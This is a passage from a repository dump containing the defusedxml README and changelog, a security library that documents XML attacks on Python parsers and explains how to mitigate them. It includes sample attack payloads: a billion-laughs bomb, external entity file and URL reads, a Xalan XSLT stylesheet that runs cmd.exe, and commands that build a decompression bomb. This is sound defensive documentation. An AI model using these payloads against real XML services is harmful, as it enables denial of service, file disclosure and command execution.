attacks pretty much work like SQL injection attacks.\nArguments to XPath queries must be quoted and validated properly,\nespecially when they are taken from the user. The page [Avoid the\ndangers of XPath\ninjection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html)\nlist some ramifications of XPath injections.\n\nPython's standard library doesn't have XPath support. Lxml supports\nparameterized XPath queries which does proper quoting. You just have to\nuse its xpath() method correctly:\n\n    # DON'T\n    >>> tree.xpath(\"/tag[@id='%s']\" % value)\n\n    # instead do\n    >>> tree.xpath(\"/tag[@id=$tagid]\", tagid=name)\n\n### XInclude\n\n[XML Inclusion](https://www.w3.org/TR/xinclude/#include_element) is\nanother way to load and include external files:\n\n    <root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n      <xi:include href=\"filename.txt\" parse=\"text\" />\n    </root>\n\nThis feature should be disabled when XML files from an untrusted source\nare processed. Some Python XML libraries and libxml2 support XInclude\nbut don't have an option to sandbox inclusion and limit it to allowed\ndirectories.\n\n### XMLSchema location\n\nA validating XML parser may download schema files from the information\nin a `xsi:schemaLocation` attribute.\n\n    <ead xmlns=\"urn:isbn:1-931666-22-9\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"urn:isbn:1-931666-22-9 http://www.loc.gov/ead/ead.xsd\">\n    </ead>\n\n### XSL Transformation\n\nYou should keep in mind that XSLT is a Turing complete language. Never\nprocess XSLT code from unknown or untrusted source! XSLT processors may\nallow you to interact with external resources in ways you can't even\nimagine. Some processors even support extensions that allow read/write\naccess to file system, access to JRE objects or scripting with Jython.\n\nExample from [Attacking XML\nSecurity](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf)\nfor Xalan-J:\n\n    <xsl:stylesheet version=\"1.0\"\n     xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n     xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\"\n     xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n     exclude-result-prefixes= \"rt ob\">\n     <xsl:template match=\"/\">\n       <xsl:variable name=\"runtimeObject\" select=\"rt:getRuntime()\"/>\n       <xsl:variable name=\"command\"\n         select=\"rt:exec($runtimeObject, &apos;c:\\Windows\\system32\\cmd.exe&apos;)\"/>\n       <xsl:variable name=\"commandAsString\" select=\"ob:toString($command)\"/>\n       <xsl:value-of select=\"$commandAsString\"/>\n     </xsl:template>\n    </xsl:stylesheet>\n\n## Related CVEs\n\nCVE-2013-1664  \nUnrestricted entity expansion induces DoS vulnerabilities in Python XML\nlibraries (XML bomb)\n\nCVE-2013-1665  \nExternal entity expansion in Python XML libraries inflicts potential\nsecurity flaws and DoS vulnerabilities\n\n## Other languages / frameworks\n\nSeveral other programming languages and frameworks are vulnerable as\nwell. A couple of them are affected by the fact that libxml2 up to 2.9.0\nhas no protection against quadratic blowup attacks. Most of them have\npotential dangerous default settings for entity expansion and external\nentities, too.\n\n### Perl\n\nPerl's XML::Simple is vulnerable to quadratic entity expansion and\nexternal entity expansion (both local and remote).\n\n### Ruby\n\nRuby's REXML document parser is vulnerable to entity expansion attacks\n(both quadratic and exponential) but it doesn't do external entity\nexpansion by default. In order to counteract entity expansion you have\nto disable the feature:\n\n    REXML::Document.entity_expansion_limit = 0\n\nlibxml-ruby and hpricot don't expand entities in their default\nconfiguration.\n\n### PHP\n\nPHP's SimpleXML API is vulnerable to quadratic entity expansion and\nloads entities from local and remote resources. The option\n`LIBXML_NONET` disables network access but still allows local file\naccess. `LIBXML_NOENT` seems to have no effect on entity expansion in\nPHP 5.4.6.\n\n### C# / .NET / Mono\n\nInformation in [XML DoS and Defenses\n(MSDN)](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx) suggest\nthat .NET is vulnerable with its default settings. The article contains\ncode snippets how to create a secure XML reader:\n\n    XmlReaderSettings settings = new XmlReaderSettings();\n    settings.ProhibitDtd = false;\n    settings.MaxCharactersFromEntities = 1024;\n    settings.XmlResolver = null;\n    XmlReader reader = XmlReader.Create(stream, settings);\n\n### Java\n\nUntested. The documentation of Xerces and its [Xerces\nSecurityMananger](https://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html)\nsounds like Xerces is also vulnerable to billion laugh attacks with its\ndefault settings. It also does entity resolving when an\n`org.xml.sax.EntityResolver` is configured. I'm not yet sure about the\ndefault setting here.\n\nJava specialists suggest to have a custom builder factory:\n\n    DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();\n    builderFactory.setXIncludeAware(False);\n    builderFactory.setExpandEntityReferences(False);\n    builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True);\n    # either\n    builderFactory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", True);\n    # or if you need DTDs\n    builderFactory.setFeature(\"http://xml.org/sax/features/external-general-entities\", False);\n    builderFactory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", False);\n    builderFactory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", False);\n    builderFactory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-dtd-grammar\", False);\n\n## TODO\n\n-   DOM: Use xml.dom.xmlbuilder options for entity handling\n-   SAX: take feature_external_ges and feature_external_pes (?) into\n    account\n-   test experimental monkey patching of stdlib modules\n-   improve documentation\n\n## License\n\nCopyright (c) 2013-2023 by Christian Heimes \\<<christian@python.org>\\>\n\nLicensed to PSF under a Contributor Agreement.\n\nSee <https://www.python.org/psf/license> for licensing details.\n\n## Acknowledgements\n\nBrett Cannon (Python Core developer)  \nreview and code cleanup\n\nAntoine Pitrou (Python Core developer)  \ncode review\n\nAaron Patterson, Ben Murphy and Michael Koziarski (Ruby community)  \nMany thanks to Aaron, Ben and Michael from the Ruby community for their\nreport and assistance.\n\nThierry Carrez (OpenStack)  \nMany thanks to Thierry for his report to the Python Security Response\nTeam on behalf of the OpenStack security team.\n\nCarl Meyer (Django)  \nMany thanks to Carl for his report to PSRT on behalf of the Django\nsecurity team.\n\nDaniel Veillard (libxml2)  \nMany thanks to Daniel for his insight and assistance with libxml2.\n\nsemantics GmbH (<https://www.semantics.de/>)  \nMany thanks to my employer semantics for letting me work on the issue\nduring working hours as part of semantics's open source initiative.\n\n## References\n\n-   [XML DoS and Defenses\n    (MSDN)](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx)\n-   [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) on\n    Wikipedia\n-   [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) on Wikipedia\n-   [Configure SAX parsers for secure\n    processing](http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html)\n-   [Testing for XML\n    Injection](https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008))\n# Changelog\n\n## defusedxml 0.8.0\n\n*Release date: 2023*\n\n-   Fix testing without lxml\n-   Test on 3.13-dev and PyPy 3.9\n\n## defusedxml 0.8.0rc2\n\n*Release date: 29-Sep-2023*\n\n-   Silence deprecation warning in <span\n    class=\"title-ref\">defuse_stdlib</span>.\n-   Update lxml safety information\n\n## defusedxml 0.8.0rc1\n\n*Release date: 26-Sep-2023*\n\n-   Drop support for Python 2.7, 3.4, and 3.5.\n-   Test on 3.10, 3.11, and 3.12.\n-   Add `defusedxml.ElementTree.fromstringlist()`\n-   Update *vulnerabilities and features* table in README.\n-   **Pending removal** The `defusedxml.lxml` module has been\n    unmaintained and deprecated since 2019. The module will be removed\n    in the next version.\n-   **Pending removal** The `defusedxml.cElementTree` will be removed in\n    the next version. Please use `defusedxml.ElementTree` instead.\n\n## defusedxml 0.7.1\n\n*Release date: 08-Mar-2021*\n\n-   Fix regression `defusedxml.ElementTree.ParseError` (#63) The\n    `ParseError` exception is now the same class object as\n    `xml.etree.ElementTree.ParseError` again.\n\n## defusedxml 0.7.0\n\n*Release date: 4-Mar-2021*\n\n-   No changes\n\n## defusedxml 0.7.0rc2\n\n*Release date: 12-Jan-2021*\n\n-   Re-add and deprecate `defusedxml.cElementTree`\n-   Use GitHub Actions instead of TravisCI\n-   Restore `ElementTree` attribute of `xml.etree` module after patching\n\n## defusedxml 0.7.0rc1\n\n*Release date: 04-May-2020*\n\n-   Add support for Python 3.9\n-   `defusedxml.cElementTree` is not available with Python 3.9.\n-   Python 2 is deprecate. Support for Python 2 will be removed in\n    0.8.0.\n\n## defusedxml 0.6.0\n\n*Release date: 17-Apr-2019*\n\n-   Increase test coverage.\n-   Add badges to README.\n\n## defusedxml 0.6.0rc1\n\n*Release date: 14-Apr-2019*\n\n-   Test on Python 3.7 stable and 3.8-dev\n-   Drop support for Python 3.4\n-   No longer pass *html* argument to XMLParse. It has been deprecated\n    and ignored for a long time. The DefusedXMLParser still takes a html\n    argument. A deprecation warning is issued when the argument is False\n    and a TypeError when it's True.\n-   defusedxml now fails early when pyexpat stdlib module is not\n    available or broken.\n-   defusedxml.ElementTree.\\_\\_all\\_\\_ now lists ParseError as public\n    attribute.\n-   The defusedxml.ElementTree and defusedxml.cElementTree modules had a\n    typo and used XMLParse instead of XMLParser as an alias for\n    DefusedXMLParser. Both the old and fixed name are now available.\n\n## defusedxml 0.5.0\n\n*Release date: 07-Feb-2017*\n\n-   No changes\n\n## defusedxml 0.5.0.rc1\n\n*Release date: 28-Jan-2017*\n\n-   Add compatibility with Python 3.6\n-   Drop support for Python 2.6, 3.1, 3.2, 3.3\n-   Fix lxml tests (XMLSyntaxError: Detected an entity reference loop)\n\n## defusedxml 0.4.1\n\n*Release date: 28-Mar-2013*\n\n-   Add more demo exploits, e.g. python_external.py and Xalan XSLT\n    demos.\n-   Improved documentation.\n\n## defusedxml 0.4\n\n*Release date: 25-Feb-2013*\n\n-   As per <http://seclists.org/oss-sec/2013/q1/340> please REJECT\n    CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use\n    CVE-2013-1664, CVE-2013-1665 for OpenStack/etc.\n-   Add missing parser_list argument to sax.make_parser(). The argument\n    is ignored, though. (thanks to Florian Apolloner)\n-   Add demo exploit for external entity attack on Python's SAX parser,\n    XML-RPC and WebDAV.\n\n## defusedxml 0.3\n\n*Release date: 19-Feb-2013*\n\n-   Improve documentation\n\n## defusedxml 0.2\n\n*Release date: 15-Feb-2013*\n\n-   Rename ExternalEntitiesForbidden to ExternalReferenceForbidden\n-   Rename defusedxml.lxml.check_dtd() to check_docinfo()\n-   Unify argument names in callbacks\n-   Add arguments and formatted representation to exceptions\n-   Add forbid_external argument to all functions and classes\n-   More tests\n-   LOTS of documentation\n-   Add example code for other languages (Ruby, Perl, PHP) and parsers\n    (Genshi)\n-   Add protection against XML and gzip attacks to xmlrpclib\n\n## defusedxml 0.1\n\n*Release date: 08-Feb-2013*\n\n-   Initial and internal release for PSRT review\n"
  },
  {
    "path": "README.txt",
    "content": "===================================================\ndefusedxml -- defusing XML bombs and other exploits\n===================================================\n\n.. image:: https://img.shields.io/pypi/v/defusedxml.svg\n    :target: https://pypi.org/project/defusedxml/\n    :alt: Latest Version\n\n.. image:: https://img.shields.io/pypi/pyversions/defusedxml.svg\n    :target: https://pypi.org/project/defusedxml/\n    :alt: Supported Python versions\n\n.. image:: https://travis-ci.org/tiran/defusedxml.svg?branch=master\n    :target: https://travis-ci.org/tiran/defusedxml\n    :alt: Travis CI\n\n.. image:: https://codecov.io/github/tiran/defusedxml/coverage.svg?branch=master\n    :target: https://codecov.io/github/tiran/defusedxml?branch=master\n    :alt: codecov\n\n.. image:: https://img.shields.io/pypi/dm/defusedxml.svg\n    :target: https://pypistats.org/packages/defusedxml\n    :alt: PyPI downloads\n\n.. image:: https://img.shields.io/badge/code%20style-black-000000.svg\n    :target: https://github.com/psf/black\n    :alt: Code style: black\n\n..\n\n    \"It's just XML, what could probably go wrong?\"\n\nChristian Heimes <christian@python.org>\n\nSynopsis\n========\n\nThe results of an attack on a vulnerable XML library can be fairly dramatic.\nWith just a few hundred **Bytes** of XML data an attacker can occupy several\n**Gigabytes** of memory within **seconds**. An attacker can also keep\nCPUs busy for a long time with a small to medium size request. Under some\ncircumstances it is even possible to access local files on your\nserver, to circumvent a firewall, or to abuse services to rebound attacks to\nthird parties.\n\nThe attacks use and abuse less common features of XML and its parsers. The\nmajority of developers are unacquainted with features such as processing\ninstructions and entity expansions that XML inherited from SGML. At best\nthey know about ``<!DOCTYPE>`` from experience with HTML but they are not\naware that a document type definition (DTD) can generate an HTTP request\nor load a file from the file system.\n\nNone of the issues is new. They have been known for a long time. Billion\nlaughs was first reported in 2003. Nevertheless some XML libraries and\napplications are still vulnerable and even heavy users of XML are\nsurprised by these features. It's hard to say whom to blame for the\nsituation. It's too short sighted to shift all blame on XML parsers and\nXML libraries for using insecure default settings. After all they\nproperly implement XML specifications. Application developers must not rely\nthat a library is always configured for security and potential harmful data\nby default.\n\n\n.. contents:: Table of Contents\n   :depth: 2\n\n\nAttack vectors\n==============\n\nbillion laughs / exponential entity expansion\n---------------------------------------------\n\nThe `Billion Laughs`_ attack -- also known as exponential entity expansion --\nuses multiple levels of nested entities. The original example uses 9 levels\nof 10 expansions in each level to expand the string ``lol`` to a string of\n3 * 10 :sup:`9` bytes, hence the name \"billion laughs\". The resulting string\noccupies 3 GB (2.79 GiB) of memory; intermediate strings require additional\nmemory. Because most parsers don't cache the intermediate step for every\nexpansion it is repeated over and over again. It increases the CPU load even\nmore.\n\nAn XML document of just a few hundred bytes can disrupt all services on a\nmachine within seconds.\n\nExample XML::\n\n    <!DOCTYPE xmlbomb [\n    <!ENTITY a \"1234567890\" >\n    <!ENTITY b \"&a;&a;&a;&a;&a;&a;&a;&a;\">\n    <!ENTITY c \"&b;&b;&b;&b;&b;&b;&b;&b;\">\n    <!ENTITY d \"&c;&c;&c;&c;&c;&c;&c;&c;\">\n    ]>\n    <bomb>&d;</bomb>\n\n\nquadratic blowup entity expansion\n---------------------------------\n\nA quadratic blowup attack is similar to a `Billion Laughs`_ attack; it abuses\nentity expansion, too. Instead of nested entities it repeats one large entity\nwith a couple of thousand chars over and over again. The attack isn't as\nefficient as the exponential case but it avoids triggering countermeasures of\nparsers against heavily nested entities. Some parsers limit the depth and\nbreadth of a single entity but not the total amount of expanded text\nthroughout an entire XML document.\n\nA medium-sized XML document with a couple of hundred kilobytes can require a\ncouple of hundred MB to several GB of memory. When the attack is combined\nwith some level of nested expansion an attacker is able to achieve a higher\nratio of success.\n\n::\n\n    <!DOCTYPE bomb [\n    <!ENTITY a \"xxxxxxx... a couple of ten thousand chars\">\n    ]>\n    <bomb>&a;&a;&a;... repeat</bomb>\n\n\nexternal entity expansion (remote)\n----------------------------------\n\nEntity declarations can contain more than just text for replacement. They can\nalso point to external resources by public identifiers or system identifiers.\nSystem identifiers are standard URIs. When the URI is a URL (e.g. a\n``http://`` locator) some parsers download the resource from the remote\nlocation and embed them into the XML document verbatim.\n\nSimple example of a parsed external entity::\n\n    <!DOCTYPE external [\n    <!ENTITY ee SYSTEM \"http://www.python.org/some.xml\">\n    ]>\n    <root>&ee;</root>\n\nThe case of parsed external entities works only for valid XML content. The\nXML standard also supports unparsed external entities with a\n``NData declaration``.\n\nExternal entity expansion opens the door to plenty of exploits. An attacker\ncan abuse a vulnerable XML library and application to rebound and forward\nnetwork requests with the IP address of the server. It highly depends\non the parser and the application what kind of exploit is possible. For\nexample:\n\n* An attacker can circumvent firewalls and gain access to restricted\n  resources as all the requests are made from an internal and trustworthy\n  IP address, not from the outside.\n* An attacker can abuse a service to attack, spy on or DoS your servers but\n  also third party services. The attack is disguised with the IP address of\n  the server and the attacker is able to utilize the high bandwidth of a big\n  machine.\n* An attacker can exhaust additional resources on the machine, e.g. with\n  requests to a service that doesn't respond or responds with very large\n  files.\n* An attacker may gain knowledge, when, how often and from which IP address\n  an XML document is accessed.\n* An attacker could send mail from inside your network if the URL handler\n  supports ``smtp://`` URIs.\n\n\nexternal entity expansion (local file)\n--------------------------------------\n\nExternal entities with references to local files are a sub-case of external\nentity expansion. It's listed as an extra attack because it deserves extra\nattention. Some XML libraries such as lxml disable network access by default\nbut still allow entity expansion with local file access by default. Local\nfiles are either referenced with a ``file://`` URL or by a file path (either\nrelative or absolute). Additionally, lxml's ``libxml2`` has catalog support.\nXML catalogs like ``/etc/xml/catalog`` are XML files, which map schema URIs\nto local files.\n\nAn attacker may be able to access and download all files that can be read by\nthe application process. This may include critical configuration files, too.\n\n::\n\n    <!DOCTYPE external [\n    <!ENTITY ee SYSTEM \"file:///PATH/TO/simple.xml\">\n    ]>\n    <root>&ee;</root>\n\n\nDTD retrieval\n-------------\n\nThis case is similar to external entity expansion, too. Some XML libraries\nlike Python's xml.dom.pulldom retrieve document type definitions from remote\nor local locations. Several attack scenarios from the external entity case\napply to this issue as well.\n\n::\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n      \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n    <html>\n        <head/>\n        <body>text</body>\n    </html>\n\n\nPython XML Libraries\n====================\n\n.. csv-table:: vulnerabilities and features\n   :header: \"kind\", \"sax\", \"etree\", \"minidom\", \"pulldom\", \"xmlrpc\"\n   :widths: 24, 7, 8, 8, 7, 8\n   :stub-columns: 0\n\n   \"billion laughs\", \"**Maybe** (1)\", \"**Maybe** (1)\", \"**Maybe** (1)\", \"**Maybe** (1)\", \"**Maybe** (1)\"\n   \"quadratic blowup\", \"**Maybe** (1)\", \"**Maybe** (1)\", \"**Maybe** (1)\", \"**Maybe** (1)\", \"**Maybe** (1)\"\n   \"external entity expansion (remote)\", \"False (2)\", \"False (3)\", \"False (4)\", \"False (2)\", \"false\"\n   \"external entity expansion (local file)\", \"False (2)\", \"False (3)\", \"False (4)\", \"False (2)\", \"false\"\n   \"DTD retrieval\", \"False (2)\", \"False\", \"False\", \"False (2)\", \"false\"\n   \"gzip bomb\", \"False\", \"False\", \"False\", \"False\", \"**True**\"\n   \"xpath support (6)\", \"False\", \"False\", \"False\", \"False\", \"False\"\n   \"xsl(t) support (6)\", \"False\", \"False\", \"False\", \"False\", \"False\"\n   \"xinclude support (6)\", \"False\", \"**True** (5)\", \"False\", \"False\", \"False\"\n   \"C library\", \"expat\", \"expat\", \"expat\", \"expat\", \"expat\"\n\n1. `expat parser`_ >= 2.4.0 has `billion laughs protection`_\n   against XML bombs (CVE-2013-0340). The parser has sensible defaults\n   for ``XML_SetBillionLaughsAttackProtectionMaximumAmplification`` and\n   ``XML_SetBillionLaughsAttackProtectionActivationThreshold``.\n2. Python >= 3.6.8, >= 3.7.1, and >= 3.8 no longer retrieve local and remote\n   resources with urllib, see `bpo-17239`_.\n3. xml.etree doesn't expand entities and raises a ParserError when an entity\n   occurs.\n4. minidom doesn't expand entities and simply returns the unexpanded entity\n   verbatim.\n5. Library has (limited) XInclude support but requires an additional step to\n   process inclusion.\n6. These are features but they may introduce exploitable holes, see\n   `Other things to consider`_\n\n\nSettings in standard library\n----------------------------\n\n\nxml.sax.handler Features\n........................\n\nfeature_external_ges (http://xml.org/sax/features/external-general-entities)\n  disables external entity expansion\n\nfeature_external_pes (http://xml.org/sax/features/external-parameter-entities)\n  the option is ignored and doesn't modify any functionality\n\nDOM xml.dom.xmlbuilder.Options\n..............................\n\nexternal_parameter_entities\n  ignored\n\nexternal_general_entities\n  ignored\n\nexternal_dtd_subset\n  ignored\n\nentities\n  unsure\n\n\ndefusedxml\n==========\n\nThe `defusedxml package`_ (`defusedxml on PyPI`_)\ncontains several Python-only workarounds and fixes\nfor denial of service and other vulnerabilities in Python's XML libraries.\nIn order to benefit from the protection you just have to import and use the\nlisted functions / classes from the right defusedxml module instead of the\noriginal module. Merely `defusedxml.xmlrpc`_ is implemented as monkey patch.\n\nInstead of::\n\n   >>> from xml.etree.ElementTree import parse\n   >>> et = parse(xmlfile)\n\nalter code to::\n\n   >>> from defusedxml.ElementTree import parse\n   >>> et = parse(xmlfile)\n\n.. Note::\n\n   The defusedxml modules are not drop-in replacements of their stdlib\n   counterparts. The modules only provide functions and classes related to\n   parsing and loading of XML. For all other features, use the classes,\n   functions, and constants from the stdlib modules. For example::\n\n      >>> from defusedxml import ElementTree as DET\n      >>> from xml.etree.ElementTree as ET\n\n      >>> root = DET.fromstring(\"<root/>\")\n      >>> root.append(ET.Element(\"item\"))\n      >>> ET.tostring(root)\n      b'<root><item /></root>'\n\n\nAdditionally the package has an **untested** function to monkey patch\nall stdlib modules with ``defusedxml.defuse_stdlib()``.\n\n.. Warning::\n\n   ``defuse_stdlib()`` should be avoided. It can break third party package or\n   cause surprising side effects. Instead you should use the parsing features\n   of defusedxml explicitly.\n\nAll functions and parser classes accept three additional keyword arguments.\nThey return either the same objects as the original functions or compatible\nsubclasses.\n\nforbid_dtd (default: False)\n  disallow XML with a ``<!DOCTYPE>`` processing instruction and raise a\n  *DTDForbidden* exception when a DTD processing instruction is found.\n\nforbid_entities (default: True)\n  disallow XML with ``<!ENTITY>`` declarations inside the DTD and raise an\n  *EntitiesForbidden* exception when an entity is declared.\n\nforbid_external (default: True)\n  disallow any access to remote or local resources in external entities\n  or DTD and raising an *ExternalReferenceForbidden* exception when a DTD\n  or entity references an external resource.\n\n\ndefusedxml (package)\n--------------------\n\nDefusedXmlException, DTDForbidden, EntitiesForbidden,\nExternalReferenceForbidden, NotSupportedError\n\ndefuse_stdlib() (*experimental*)\n\n\ndefusedxml.cElementTree\n-----------------------\n\n**NOTE** ``defusedxml.cElementTree`` is deprecated and will be removed in a\nfuture release. Import from ``defusedxml.ElementTree`` instead.\n\nparse(), iterparse(), fromstring(), XMLParser\n\n\ndefusedxml.ElementTree\n-----------------------\n\nparse(), iterparse(), fromstring(), XMLParser\n\n\ndefusedxml.expatreader\n----------------------\n\ncreate_parser(), DefusedExpatParser\n\n\ndefusedxml.sax\n--------------\n\nparse(), parseString(), make_parser()\n\n\ndefusedxml.expatbuilder\n-----------------------\n\nparse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS\n\n\ndefusedxml.minidom\n------------------\n\nparse(), parseString()\n\n\ndefusedxml.pulldom\n------------------\n\nparse(), parseString()\n\n\ndefusedxml.xmlrpc\n-----------------\n\nThe fix is implemented as monkey patch for the stdlib's xmlrpc package (3.x)\nor xmlrpclib module (2.x). The function `monkey_patch()` enables the fixes,\n`unmonkey_patch()` removes the patch and puts the code in its former state.\n\nThe monkey patch protects against XML related attacks as well as\ndecompression bombs and excessively large requests or responses. The default\nsetting is 30 MB for requests, responses and gzip decompression. You can\nmodify the default by changing the module variable `MAX_DATA`. A value of\n`-1` disables the limit.\n\n\ndefusedxml.lxml\n---------------\n\n**DEPRECATED** The module is deprecated and will be removed in a future\nrelease.\n\nlxml is safe against most attack scenarios. lxml uses ``libxml2`` for\nparsing XML. The library has builtin mitigations against billion laughs and\nquadratic blowup attacks. The parser allows a limit amount of entity\nexpansions, then fails. lxml also disables network access by default.\nlibxml2 `lxml FAQ`_ lists additional recommendations for safe parsing,\nfor example counter measures against compression bombs.\n\nThe default parser resolves entities and protects against huge trees and\ndeeply nested entities. To disable entities expansion, use a custom parser\nobject::\n\n   from lxml import etree\n\n   parser = etree.XMLParser(resolve_entities=False)\n   root = etree.fromstring(\"<example/>\", parser=parser)\n\n\nThe module acts as an *example* how you could protect code that uses\nlxml.etree. It implements a custom Element class that filters out\nEntity instances, a custom parser factory and a thread local storage for\nparser instances. It also has a check_docinfo() function which inspects\na tree for internal or external DTDs and entity declarations. In order to\ncheck for entities lxml > 3.0 is required.\n\nparse(), fromstring()\nRestrictedElement, GlobalParserTLS, getDefaultParser(), check_docinfo()\n\n\ndefusedexpat\n============\n\nThe `defusedexpat package`_ (`defusedexpat on PyPI`_) is no longer supported.\n`expat parser`_ 2.4.0 and newer come with `billion laughs protection`_\nagainst XML bombs.\n\n\nHow to avoid XML vulnerabilities\n================================\n\nUpdate to Python 3.6.8, 3.7.1, or newer. The SAX and DOM parser do not\nload external entities from files or network resources.\n\nUpdate to expat to 2.4.0 or newer. It has `billion laughs protection`_ with\nsensible default limits to mitigate billion laughs and quadratic blowup.\n\nOfficial binaries from python.org use libexpat 2.4.0 since 3.7.12, 3.8.12,\n3.9.7, and 3.10.0 (August 2021). Third party vendors may use older or\nnewer versions of expat. ``pyexpat.version_info`` contains the current\nruntime version of libexpat. Vendors may have backported fixes to older\nversions without bumping the version number.\n\nExample::\n\n   import sys\n   import pyexpat\n\n   has_mitigations = (\n       sys.version_info >= (3, 7, 1) and\n       pyexpat.version_info >= (2, 4, 0)\n   )\n\n\nBest practices\n--------------\n\n* Don't allow DTDs\n* Don't expand entities\n* Don't resolve externals\n* Limit parse depth\n* Limit total input size\n* Limit parse time\n* Favor a SAX or iterparse-like parser for potential large data\n* Validate and properly quote arguments to XSL transformations and\n  XPath queries\n* Don't use XPath expression from untrusted sources\n* Don't apply XSL transformations that come untrusted sources\n\n(based on Brad Hill's `Attacking XML Security`_)\n\n\nOther things to consider\n========================\n\nXML, XML parsers and processing libraries have more features and possible\nissue that could lead to DoS vulnerabilities or security exploits in\napplications. I have compiled an incomplete list of theoretical issues that\nneed further research and more attention. The list is deliberately pessimistic\nand a bit paranoid, too. It contains things that might go wrong under daffy\ncircumstances.\n\n\nattribute blowup / hash collision attack\n----------------------------------------\n\nXML parsers may use an algorithm with quadratic runtime O(n :sup:`2`) to\nhandle attributes and namespaces. If it uses hash tables (dictionaries) to\nstore attributes and namespaces the implementation may be vulnerable to\nhash collision attacks, thus reducing the performance to O(n :sup:`2`) again.\nIn either case an attacker is able to forge a denial of service attack with\nan XML document that contains thousands upon thousands of attributes in\na single node.\n\nI haven't researched yet if expat, pyexpat or libxml2 are vulnerable.\n\n\ndecompression bomb\n------------------\n\nThe issue of decompression bombs (aka `ZIP bomb`_) apply to all XML libraries\nthat can parse compressed XML stream like gzipped HTTP streams or LZMA-ed\nfiles. For an attacker it can reduce the amount of transmitted data by three\nmagnitudes or more. Gzip is able to compress 1 GiB zeros to roughly 1 MB,\nlzma is even better::\n\n    $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz\n    $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy\n    $ ls -sh zeros.*\n    1020K zeros.gz\n     148K zeros.xy\n\nNone of Python's standard XML libraries decompress streams except for\n``xmlrpclib``. The module is vulnerable <https://bugs.python.org/issue16043>\nto decompression bombs.\n\nlxml can load and process compressed data through libxml2 transparently.\nlibxml2 can handle even very large blobs of compressed data efficiently\nwithout using too much memory. But it doesn't protect applications from\ndecompression bombs. A carefully written SAX or iterparse-like approach can\nbe safe.\n\n\nProcessing Instruction\n----------------------\n\n`PI`_'s like::\n\n  <?xml-stylesheet type=\"text/xsl\" href=\"style.xsl\"?>\n\nmay impose more threats for XML processing. It depends if and how a\nprocessor handles processing instructions. The issue of URL retrieval with\nnetwork or local file access apply to processing instructions, too.\n\n\nOther DTD features\n------------------\n\n`DTD`_ has more features like ``<!NOTATION>``. I haven't researched how\nthese features may be a security threat.\n\n\nXPath\n-----\n\nXPath statements may introduce DoS vulnerabilities. Code should never execute\nqueries from untrusted sources. An attacker may also be able to create an XML\ndocument that makes certain XPath queries costly or resource hungry.\n\n\nXPath injection attacks\n-----------------------\n\nXPath injeciton attacks pretty much work like SQL injection attacks.\nArguments to XPath queries must be quoted and validated properly, especially\nwhen they are taken from the user. The page `Avoid the dangers of XPath injection`_\nlist some ramifications of XPath injections.\n\nPython's standard library doesn't have XPath support. Lxml supports\nparameterized XPath queries which does proper quoting. You just have to use\nits xpath() method correctly::\n\n   # DON'T\n   >>> tree.xpath(\"/tag[@id='%s']\" % value)\n\n   # instead do\n   >>> tree.xpath(\"/tag[@id=$tagid]\", tagid=name)\n\n\nXInclude\n--------\n\n`XML Inclusion`_ is another way to load and include external files::\n\n   <root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n     <xi:include href=\"filename.txt\" parse=\"text\" />\n   </root>\n\nThis feature should be disabled when XML files from an untrusted source are\nprocessed. Some Python XML libraries and libxml2 support XInclude but don't\nhave an option to sandbox inclusion and limit it to allowed directories.\n\n\nXMLSchema location\n------------------\n\nA validating XML parser may download schema files from the information in a\n``xsi:schemaLocation`` attribute.\n\n::\n\n  <ead xmlns=\"urn:isbn:1-931666-22-9\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xsi:schemaLocation=\"urn:isbn:1-931666-22-9 http://www.loc.gov/ead/ead.xsd\">\n  </ead>\n\n\nXSL Transformation\n------------------\n\nYou should keep in mind that XSLT is a Turing complete language. Never\nprocess XSLT code from unknown or untrusted source! XSLT processors may\nallow you to interact with external resources in ways you can't even imagine.\nSome processors even support extensions that allow read/write access to file\nsystem, access to JRE objects or scripting with Jython.\n\nExample from `Attacking XML Security`_ for Xalan-J::\n\n    <xsl:stylesheet version=\"1.0\"\n     xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n     xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\"\n     xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n     exclude-result-prefixes= \"rt ob\">\n     <xsl:template match=\"/\">\n       <xsl:variable name=\"runtimeObject\" select=\"rt:getRuntime()\"/>\n       <xsl:variable name=\"command\"\n         select=\"rt:exec($runtimeObject, &apos;c:\\Windows\\system32\\cmd.exe&apos;)\"/>\n       <xsl:variable name=\"commandAsString\" select=\"ob:toString($command)\"/>\n       <xsl:value-of select=\"$commandAsString\"/>\n     </xsl:template>\n    </xsl:stylesheet>\n\n\nRelated CVEs\n============\n\nCVE-2013-1664\n  Unrestricted entity expansion induces DoS vulnerabilities in Python XML\n  libraries (XML 